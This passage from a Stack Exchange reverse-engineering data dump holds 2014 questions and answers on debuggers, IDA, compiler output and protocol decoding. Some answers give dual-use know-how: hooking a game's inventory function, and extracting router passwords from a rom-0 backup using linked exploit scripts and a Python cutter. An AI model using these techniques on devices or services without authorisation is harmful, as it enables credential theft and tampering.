  <row Id="3827" PostTypeId="2" ParentId="3814" CreationDate="2014-03-08T02:31:57.363" Score="0" Body="&lt;p&gt;You could try to find the clock line first, but only if connected and used by something. Then you go to Google Images and look how data is correlated to clock etc. Alternatively you can try to find the lines on the other &quot;end&quot; which are perhaps fewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much better idea is to tell us what device you have or upload a picture if you don't know. Btw. On what basis did you make that assumption? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;PS. This was meant as a comment, but I don't have the required Rep.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="3855" LastEditorUserId="3855" LastEditDate="2014-03-08T02:38:20.467" LastActivityDate="2014-03-08T02:38:20.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3828" PostTypeId="1" CreationDate="2014-03-08T04:45:34.150" Score="1" ViewCount="1091" Body="&lt;p&gt;I'm trying to debug an application that uses QT GUI library. The problem is that I can't even start debugging as ollydbg seems to be processing ~1k events per second where in stack trace I see all of them running inside QT. The application has very fancy GUI (blending, custom window and buttons etc) and perhaps that is what hangs the debugger as it tries to process all this. Eventually it bluescreens. Can I somehow force olly to skip or ignore these events? &lt;/p&gt;&#xA;" OwnerUserId="4110" LastEditorUserId="4110" LastEditDate="2014-03-08T04:58:49.107" LastActivityDate="2014-03-08T04:58:49.107" Title="Ollydbg and hundreds of events under QT GUI" Tags="|ollydbg|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3829" PostTypeId="2" ParentId="3778" CreationDate="2014-03-08T04:59:54.503" Score="2" Body="&lt;p&gt;The first instruction there (NexusTK.exe+E07E0) grabs the function's first arguement ([esp+04] often represents the function's first arguement) and places it in EAX. However, that EAX is not directly related to the EAX you see later at NexusTK.exe+E0820.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to read or manipulate the inventory's contents, you will need to get a pointer to it. It's always worth it to attempt a pointer scan at this point, but for big games this tends not to be successful. Another option is to analyze the function (read from +E07E0 to +E0827) to figure out how it gets a pointer to the inventory. For example, the function in your screenshots calls another function located at NexusTK.exe+BF220, and then uses the return value (register al) as an index into the character inventory which is located at ESI+0x163C38. You can tell this by simply reading the assembly code (you can find a nice assembler tutorial &lt;a href=&quot;http://forum.cheatengine.org/viewtopic.php?t=95363&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;). Once you have analyzed the function, you could just hook it (replace its code with your own, see &lt;a href=&quot;https://stackoverflow.com/questions/12896937/from-where-do-i-can-start-learning-about-windows-api-hooking&quot;&gt;this question&lt;/a&gt;), or you can debug more to try and find a static pointer to it that the pointer scan missed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it is unlikely that the character inventory's contents are stored in string form - it more likely stored as an array of byte data (numbers representing the items). In fact, you can see from the assembly code in your screenshot that each inventory item seems to be represented by a structure of size 0x1F8 bytes (notice the multiplication at +E080B) and is possibly identifiable by a 2-byte ID at offsets +2 or +6 (these are the fields getting filled in at +E081C and +E0820)&lt;/p&gt;&#xA;" OwnerUserId="3824" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-03-08T04:59:54.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3831" PostTypeId="2" ParentId="3800" CreationDate="2014-03-08T16:56:56.757" Score="20" Body="&lt;p&gt;This is from the IDA Pro book, but even IDA, as good as it is, is still in the end making guesses.  The answers here are from &quot;The IDA Pro Book&quot; by Chris Eagle.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&quot;Why there are not any disassemblers that can generate re-assemblable asm code targeting on benign program (one without obfuscation) ?&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;The compilation process is lossy.&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;At the machine language level there are no variable or function names,&#xA;  &lt;em&gt;and variable type information can be determined only by how the data is used rather than explicit type declarations.&lt;/em&gt; When you observe 32&#xA;  bits of data being transferred, you’ll need to do some investigative&#xA;  work to determine whether those 32 bits represent an integer, a 32-bit&#xA;  floating point value, or a 32-bit pointer.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Compilation is a many-to-many operation.&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This means that a source program can be translated to assembly&#xA;  language in many different ways, and machine language can be&#xA;  translated back to source in many different ways. As a result, it is&#xA;  quite common that compiling a file and immediately decompiling it may&#xA;  yield a vastly different source file from the one that was input.&#xA;  Decompilers are very language and library dependent. Processing a&#xA;  binary produced by a Delphi compiler with a decompiler designed to&#xA;  generate C code can yield very strange results. Similarly, feeding a&#xA;  compiled Windows binary through a decompiler that has no knowledge of&#xA;  the Windows programming API may not yield anything useful.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically, at this point it still requires human judgment.  The best analogy I've heard is that compiling a binary from source is like computing a Hash.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&quot;If I want to implement such a tool (without the help of IDA Pro, sketching from the beginning), is it possible?&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This sounds to me like an interesting theoretical research question:  Can compilation truly be viewed as generating a hash signature?  My gut says &quot;Yes.&quot;  The math would be terribly intricate, and would probably have to be done with a provable language.  We typically use hashes because they aren't easy to reverse engineer.  However you can still attack hashes using things like rainbow tables, so there's one mega-project to consider.  My instinct tells me that rainbow tables on all possible binaries is NP-Complete.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also consider that determining data types kinda requires human judgment, and we still aren't terribly good at automating THAT kind of intelligence.  Is it possible?  Maybe.  There's a reason why smart people still make tools like IDA.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&quot;Are there any other concerns related to this that I may have missed?&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm new to disassembly, so I'll leave that to the big boys, but hopefully at least I answered the question on why its so difficult to do what you ask.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eagle, Chris (2011-06-16). The IDA Pro Book: The Unofficial Guide to the World's Most Popular Disassembler (Kindle Locations 151-152). No Starch Press. Kindle Edition. &lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2014-03-08T16:56:56.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3832" PostTypeId="2" ParentId="3662" CreationDate="2014-03-08T20:09:14.980" Score="1" Body="&lt;p&gt;it's compressed with LZS ( Lempel-Ziv-Stack ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to do the password extraction the pythonic way, it's enought to take a look at this shell script and small piece of c code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/MrNasro/scripts/blob/master/exploits/rom0x/&quot; rel=&quot;nofollow&quot;&gt;shell + C solution&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/FiloSottile/4663892&quot; rel=&quot;nofollow&quot;&gt;way of extraction LZS with python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and to replace 'dd' usage in same python script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;def romcutter(fname):&#xA;    import sys&#xA;    fpos=8568&#xA;    fend=8788&#xA;    fhandle=file(fname)&#xA;    fhandle.seek(fpos)&#xA;    chunk=&quot;*&quot;&#xA;    amount=221&#xA;    while fpos &amp;lt; fend:&#xA;        if fend-fpos &amp;lt; amount:&#xA;            amount = fend-fpos&#xA;            chunk = fhandle.read(amount)&#xA;            fpos += len(chunk)&#xA;            return chunk&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;take rom-0, cut it with cutter, and extract result LZS....&lt;/h2&gt;&#xA;" OwnerUserId="4114" LastActivityDate="2014-03-08T20:09:14.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3833" PostTypeId="2" ParentId="3662" CreationDate="2014-03-08T20:14:01.863" Score="1" Body="&lt;p&gt;it's compressed with LZS ( Lempel-Ziv-Stack ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to do the password extraction the pythonic way, it's enought to take a look at this shell script and small piece of c code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/MrNasro/scripts/blob/master/exploits/rom0x/&quot; rel=&quot;nofollow&quot;&gt;shell + C solution&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/FiloSottile/4663892&quot; rel=&quot;nofollow&quot;&gt;way of extraction LZS with python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and to replace 'dd' usage in same python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    def romcutter(fname):&#xA;        import sys&#xA;        fpos=8568&#xA;        fend=8788&#xA;        fhandle=file(fname)&#xA;        fhandle.seek(fpos)&#xA;        chunk=&quot;*&quot;&#xA;        amount=221&#xA;        while fpos &amp;lt; fend:&#xA;            if fend-fpos &amp;lt; amount:&#xA;                amount = fend-fpos&#xA;                chunk = fhandle.read(amount)&#xA;                fpos += len(chunk)&#xA;                return chunk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;take rom-0, cut it with cutter, and extract result LZS....&lt;/h2&gt;&#xA;" OwnerUserId="4114" LastActivityDate="2014-03-08T20:14:01.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3834" PostTypeId="1" CreationDate="2014-03-09T01:23:13.680" Score="2" ViewCount="5525" Body="&lt;p&gt;Could you tell me how to detect difference between (same) .class files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a java class compilated with Maven2 on my local computer =&gt; works good!&#xA;I jave the same java class compilated with Maven2 on Apache Continuum =&gt; doesn't work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two class file are the same when i decompilated them!&#xA;Same size, same code and same byte come (javap -verbose) .... how to detect the difference between them ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="4115" LastActivityDate="2014-09-11T23:01:33.407" Title="difference between two .class files" Tags="|java|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3835" PostTypeId="2" ParentId="3738" CreationDate="2014-03-09T11:06:58.563" Score="1" Body="&lt;p&gt;I finally managed to modify LC_ENCRYPTION_INFO as fellow and it works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.infointox.net/?p=114&quot; rel=&quot;nofollow&quot;&gt;http://www.infointox.net/?p=114&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be sure for multiple architectures, choose correct bytes to filp.&lt;/p&gt;&#xA;" OwnerUserId="3984" LastActivityDate="2014-03-09T11:06:58.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3836" PostTypeId="1" CreationDate="2014-03-09T15:30:31.643" Score="5" ViewCount="4070" Body="&lt;p&gt;I'm trying to load symbols for a dll with IDA pro.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;My _NT_SYMBOL_PATH is SRV*c:\symbols*http://msdl.microsoft.com/download/symbols .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put &lt;code&gt;DBGTOOLS = &quot;C:\\Program Files (x86)\\Windows Kits\\8.1\\Debuggers\x86\\&quot;&lt;/code&gt; in my &lt;code&gt;ida.cfg&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I modified IDA's &lt;code&gt;symsrv.dll&lt;/code&gt; and &lt;code&gt;symsrv.yes&lt;/code&gt; so as to put the one of the WinDbg folder instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that if I load my dll, I see no symbols and get this error message : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;PDB: could not process file D:\Dangerous\Share\Direct2D x86\d2d1.dll with DIA: No such interface supported&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no way to get symbols from the server. However, I load some symbols manually using the symbols that I can download on my msdnaa account. The problem is that I've got several different version of d2d1.dll. My symbols are for the dll present just after the OS installation. As I update my OS and then remove some specific update so as to diff dll that were changed, my symbols are not the correct one anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong? How could I get the correct symbols for each version? &lt;/p&gt;&#xA;" OwnerUserId="3049" LastEditorUserId="53" LastEditDate="2014-03-16T15:33:14.570" LastActivityDate="2014-03-16T15:33:14.570" Title="IDA Can't load symbols &quot;DIA: No such interface supported&quot;" Tags="|ida|debugging-symbols|pdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3837" PostTypeId="1" CreationDate="2014-03-09T19:20:47.057" Score="9" ViewCount="2993" Body="&lt;p&gt;I'm not very experienced with graphic or printer formats. My first (and only try yet) was to print a Tux.png with 265 x 314 pixel via the Chromium browser and see what Wireshark shows as USB transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turns out that the image became a 1.540.598 byte bulk transfer (noticed because it uses a designated USB endpoint). For this I only measured the payload which divides into 188 packets of 8192 byte and one left packet with 4982 byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than I tried to look into the first 81920 bytes by concatenating the payloads and read the content as 32 bit integers to see if it contains some repeating patterns which maybe looked like some continuous white or black pixels - but this didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So did anybody already started an attempt to understand the data that is sent to the printer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be good to have an open source variant of the driver, because the current driver is an Intel binary and won't work for example on a Raspberry PI, which could be a cheap and current-saving print server.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update 2014-03-10: Forgot to mention that I already found the &lt;em&gt;open source&lt;/em&gt; drivers of Brother - but they don't contain the driver for the printer, they only provide the source for the CUPS wrapper. And just to mention it (should make no difference) I own an Brother DCP 135c.&lt;/p&gt;&#xA;" OwnerUserId="4120" LastEditorUserId="4120" LastEditDate="2014-03-10T09:22:05.133" LastActivityDate="2014-06-30T16:21:03.290" Title="Did somebody start to reverse engineer the proprietary Linux Brother Cups drivers?" Tags="|linux|driver|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3838" PostTypeId="2" ParentId="3837" CreationDate="2014-03-10T01:26:47.560" Score="2" Body="&lt;p&gt;You seem to be looking for the drivers' source code: &lt;a href=&quot;http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_src.html&quot; rel=&quot;nofollow&quot;&gt;http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_src.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2014-03-10T01:26:47.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3841" PostTypeId="2" ParentId="1596" CreationDate="2014-03-10T13:56:27.097" Score="3" Body="&lt;p&gt;Reverse Engineering is a broader term, of which, decompilation is simply one--albeit powerful--tool.  Decompilation is a form of static analysis which is investigating a program by not running it.  Don't forget that reverse engineering can also mean taking apart the device that's running a program.  &lt;a href=&quot;http://arxiv.org/abs/0901.3482&quot; rel=&quot;nofollow&quot;&gt;Some of my favorite exploits have dealt with using the property of some kinds of memories to continue holding values after the machine has been shut off.&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A small, non-exhaustive list of techniques for reverse engineering:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Static Analysis Techniques&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;String analysis --&gt;  Using a program like &quot;strings&quot; to discover any readable text in the binary.  On non-packed files, this can often tip you off as to what platform the binary was compiled in.  If the binary was compiled with symbols, you can even get access to variable names that the author had used, which can help in subsequent analysis.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompilation  --&gt;  Cruder techniques might include unix tools like objdump, cracking open the binary in a hex editor, etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dynamic Analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fuzz Testing --&gt;  Throwing multiple kinds of (possibly) invalid data to see how the application responds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debugging  --&gt;  Coupled with Fuzz testing above will let you see how the application is actually working on the level of registers &amp;amp;&amp;amp; assembly.  (If using GDB or ollydbg.)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Eavesdropping&quot; on circuits or radiation emitted by a device--&gt;  It's exotic, but &lt;a href=&quot;http://en.wikipedia.org/wiki/Van_Eck_phreaking&quot; rel=&quot;nofollow&quot;&gt;it's real.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;&#xA;So decompilation is just one tool in the much broader kit of &quot;reverse engineering.&quot;  &lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2014-03-10T13:56:27.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3842" PostTypeId="2" ParentId="3811" CreationDate="2014-03-10T17:35:04.303" Score="6" Body="&lt;p&gt;If you just want the answer without the explanation, scroll to the bottom of this post.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;[register]&lt;/code&gt; notation stands for &quot;&lt;em&gt;take the value stored in &lt;code&gt;register&lt;/code&gt; and interpret it as an address&lt;/em&gt;&quot;. If the addressed entity size is ambiguous, it can be clarified using &lt;code&gt;DWORD PTR [register]&lt;/code&gt; for &lt;code&gt;DWORD&lt;/code&gt;-sized pointers (and similarly for other pointer sizes).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov BL, [EAX]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This line treats the value in the &lt;code&gt;EAX&lt;/code&gt; register as a pointer to a single byte (the size of &lt;code&gt;BL&lt;/code&gt;), reads a byte from that address and stores it in &lt;code&gt;BL&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;inc EAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This line increments the value of &lt;code&gt;EAX&lt;/code&gt;, effectively advancing to the next byte.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov [EDX], BL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This line treats the value in the &lt;code&gt;EDX&lt;/code&gt; register as a pointer to a single byte (again, the size of the other operand tells us this), and writes a byte that is stored in &lt;code&gt;BL&lt;/code&gt; to that address.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;inc EDX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This line increments the value of &lt;code&gt;EDX&lt;/code&gt;, advancing to the next byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all this information, we can see that this sequence basically copies a byte from one address to another. Most likely it is used in a loop such as string copy or memory copy. If there's a line similar to &lt;code&gt;test BL, BL&lt;/code&gt; afterwards to determine if the copied byte was NULL, it's most likely a string copy; if there's a length/address check instead - it's probably a memory/buffer copy that works on a specified amount of bytes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In C parlance, this can be represented as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char t; // BL&#xA;char *src; // EAX&#xA;char *dst; // EDX&#xA;&#xA;// initialize src and dst here&#xA;&#xA;t = *src;&#xA;++src;&#xA;*dst = t;&#xA;++dst;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, as K&amp;amp;R put it ever so tersely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*dst++ = *src++;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="262" LastActivityDate="2014-03-10T17:35:04.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3843" PostTypeId="1" CreationDate="2014-03-10T21:56:58.020" Score="11" ViewCount="52797" Body="&lt;p&gt;I'm trying to change an instruction in an executable that's loaded in IDA Pro v6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lis       r11, ((qword_90E1B2D8+0x10000)@h)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lis       r10, unk_90E163D0@h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated, thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="4128" LastEditorUserId="245" LastEditDate="2014-03-11T00:03:07.860" LastActivityDate="2014-03-11T14:42:23.930" Title="How could I change an instruction in IDA Pro?" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3845" PostTypeId="1" AcceptedAnswerId="3847" CreationDate="2014-03-11T01:16:10.523" Score="5" ViewCount="1621" Body="&lt;p&gt;I have been looking at some simple C code and the different output from GCC using different optimization levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main() {&#xA;    int i = 0;&#xA;&#xA;    while(i&amp;lt;10) {&#xA;            printf(&quot;Hello\n&quot;);&#xA;            i++;&#xA;    }&#xA;&#xA;    i = 0;&#xA;&#xA;    while(i&amp;lt;10) {&#xA;            printf(&quot;i: %d\n&quot;, i);&#xA;            i++;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I compile the code using &lt;code&gt;-Os&lt;/code&gt; or &lt;code&gt;-O2&lt;/code&gt; the first loop works a bit differently. It it decrements instead of incrementing, and it is in two different ways. I am wondering why it decrements instead of incrementing like in the code, and the the small difference between &lt;code&gt;-Os&lt;/code&gt; and &lt;code&gt;-O2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-Os compiled&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400486 &amp;lt;main+6&amp;gt;       mov     edi,0x40068c&#xA;0x40048b &amp;lt;main+11&amp;gt;      call    0x400450 &amp;lt;puts@plt&amp;gt;&#xA;0x400490 &amp;lt;main+16&amp;gt;      dec     ebx&#xA;0x400492 &amp;lt;main+18&amp;gt;      jne     0x400486 &amp;lt;main+6&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-O2 compiled&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400490 &amp;lt;main+16&amp;gt;      mov    edi,0x40069c&#xA;0x400495 &amp;lt;main+21&amp;gt;      call   0x400450 &amp;lt;puts@plt&amp;gt;&#xA;0x40049a &amp;lt;main+26&amp;gt;      sub    ebx,0x1&#xA;0x40049d &amp;lt;main+29&amp;gt;      jne    0x400490 &amp;lt;main+16&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2948" LastEditorUserId="3574" LastEditDate="2014-03-11T06:04:48.597" LastActivityDate="2014-03-11T07:50:18.540" Title="GCC Loop optimization" Tags="|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3846" PostTypeId="1" CreationDate="2014-03-11T01:38:15.673" Score="5" ViewCount="1586" Body="&lt;h1&gt;Background&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I have a hardware device with an RS232 port, and a Windows (XP) application that it talks to. No OS-level drivers beyond basic serial, so all the decoding is done in the app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the ability to capture bidirectional wire traffic and generally snoop on the serial port (good ol' Sysinternals &lt;a href=&quot;http://technet.microsoft.com/en-gb/sysinternals/bb896644.aspx&quot; rel=&quot;noreferrer&quot;&gt;Portmon&lt;/a&gt; to logfile, with some perl post-processing (parsing out &lt;code&gt;IRP_MJ_(READ|WRITE)&lt;/code&gt; events) to get raw byte dumps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this I've gotten the basic wire protocol details (baud rate, settings, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Messages appear to be in the format &lt;code&gt;{ $body }\n&lt;/code&gt;, where sent commands are usually a single byte or 2 in the body, responses are much more complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They span several messages, and appear to have additional structure, something like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Header (&lt;code&gt;{IDCOMPLIANCE ...}&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Metadata? (&lt;code&gt;{SA...}&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Data[+] ({&lt;code&gt;DL20...&lt;/code&gt;})&lt;/li&gt;&#xA;&lt;li&gt;End of Data Indicator (&lt;code&gt;{TE5186}&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Actual example follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; {C}\x0D&#xA;&amp;lt; {IDCOMPLIANCE\x20\x20\x20\x20\x20\x20D245}&#xA;{SA001FD8BL0001C061BC}&#xA;{DL20I000000V80050300DE076A0012000400AF002400FF030300DE0700000000010003000000B883}&#xA;{DL20I000020VFF140200DE070900010001000D000100FF0C0200DE076E006E000300A5075904C953}&#xA;{DL20I000040VFF0B0200DE07120111010700DE11E406FF0A0200DE070401030105008D12640B3B0C}&#xA;{DL20I000060VFF090200DE07F400F400050046112F0AFF080200DE076C016C0107003419950D7181}&#xA;{DL20I000080VFF070200DE0753015101060063172A0CFF060200DE07D400D3000A00BE0DF504877D}&#xA;{DL20I0000A0VFF050200DE07F200F200040047117309FF040200DE071601150107000414F10C292B}&#xA;{DL20I0000C0VFF030200DE07D400D4000500260FC108FF020200DE07B900B90006004C0D26083825}&#xA;{DL20I0000E0VFF010200DE07B601B60107001E21F718FF1F0100DE0710010C010900B913150DE89C}&#xA;{DL20I000100VFF1E0100DE0785017F010900531A2F0EFF1D0100DE071B01180108001C146D0CE542}&#xA;{DL20I000120VFF1C0100DE077E007B0005009C092107FF090100DE0754000100020008000100A748}&#xA;{DL20I000140V0000000000000000000000000000000000000000000000000000000000000000D71C}&#xA;{DL20I000160V0000000000000000000000000000000000000000000000000000000000000000725F}&#xA;{DL20I000180V000000000000000000000000000000000000000000000000000000000000000010A5}&#xA;{DL20I0001A0V00000000000000000000000000000000000000000000000000000000000000004CC1}&#xA;{TE5186}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have access to the controlling application which I can get to log certain data (which may or may not be quite what it's talking over the wire) to friendly formats like CSV etc.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Question&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Given my progress so far is mostly matching up CSV outputs with wire dumps, is there any value in trying to investigate the actual application more...invasively?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have very little experience with asm, windows binaries, and windows debugging, but it seems like it might be possible to poke around in the binary either statically or while it's running, and look for where the decoding happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can find that, I can hopefully scrabble up enough asm to understand how it's being generated/parsed, and map that to what I see it actually sending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is actually finding those [de]coding routines with my limited knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two approaches suggest themselves to me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Run inside a debugger, figure out how to set a breakpoint on serial port read/write, and step through from there looking for decoding logic.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load into a decompiler, and either (a) trace calls around serial read/writes, or (b) look for known strings that appear in the output CSVs, and work backwards to the code that's using them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;[Note that I'm doing this in a VMWare VM on a Mac, in case that matters for anything]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've currently been playing around with OllyDbg for windows, and the demo version of &lt;a href=&quot;http://www.hopperapp.com/&quot; rel=&quot;noreferrer&quot;&gt;Hopper Decompiler&lt;/a&gt;, which is affordable if it'll be of use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA or Hex-Rays would be nice, but is a bit out of my budget unless there's something 